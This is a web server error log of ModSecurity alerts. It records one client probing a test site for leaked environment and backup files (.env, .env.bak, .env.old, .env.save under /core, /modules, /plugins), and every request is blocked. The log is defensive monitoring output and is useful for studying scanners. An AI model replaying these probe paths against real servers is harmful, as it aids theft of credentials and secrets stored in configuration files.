[Sun Oct 26 01:25:29.307514 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aP1caRXkZeq6T3EwQbX-wwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:29.307707 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aP1caRXkZeq6T3EwQbX-wwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:29.307959 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aP1caRXkZeq6T3EwQbX-wwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:29.308177 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aP1caRXkZeq6T3EwQbX-wwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:29.914017 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aP1caRXkZeq6T3EwQbX-xAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:29.914268 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aP1caRXkZeq6T3EwQbX-xAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:29.914486 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aP1caRXkZeq6T3EwQbX-xAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:30.520874 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aP1cahXkZeq6T3EwQbX-xQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:30.521162 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aP1cahXkZeq6T3EwQbX-xQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:30.521362 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aP1cahXkZeq6T3EwQbX-xQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:31.126520 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aP1caxXkZeq6T3EwQbX-xgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:31.126724 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aP1caxXkZeq6T3EwQbX-xgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:31.126977 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aP1caxXkZeq6T3EwQbX-xgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:31.127197 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aP1caxXkZeq6T3EwQbX-xgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:31.732264 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aP1caxXkZeq6T3EwQbX-xwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:31.732482 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aP1caxXkZeq6T3EwQbX-xwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:31.732733 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aP1caxXkZeq6T3EwQbX-xwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:31.732947 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aP1caxXkZeq6T3EwQbX-xwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:32.339140 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aP1cbBXkZeq6T3EwQbX-yAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:32.339397 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aP1cbBXkZeq6T3EwQbX-yAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:32.339636 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aP1cbBXkZeq6T3EwQbX-yAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:32.945078 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aP1cbBXkZeq6T3EwQbX-yQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:32.945349 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aP1cbBXkZeq6T3EwQbX-yQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:32.945568 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aP1cbBXkZeq6T3EwQbX-yQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:33.571851 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aP1cbRXkZeq6T3EwQbX-ygAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:33.572042 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aP1cbRXkZeq6T3EwQbX-ygAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:33.572275 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aP1cbRXkZeq6T3EwQbX-ygAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:33.572493 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aP1cbRXkZeq6T3EwQbX-ygAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:34.177993 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aP1cbhXkZeq6T3EwQbX-ywAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:34.178212 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aP1cbhXkZeq6T3EwQbX-ywAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:34.178521 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aP1cbhXkZeq6T3EwQbX-ywAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:34.178743 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aP1cbhXkZeq6T3EwQbX-ywAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:34.785550 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aP1cbhXkZeq6T3EwQbX-zAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:34.785856 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aP1cbhXkZeq6T3EwQbX-zAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:34.786074 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aP1cbhXkZeq6T3EwQbX-zAAAAAY"], referer: https://www.google.com/
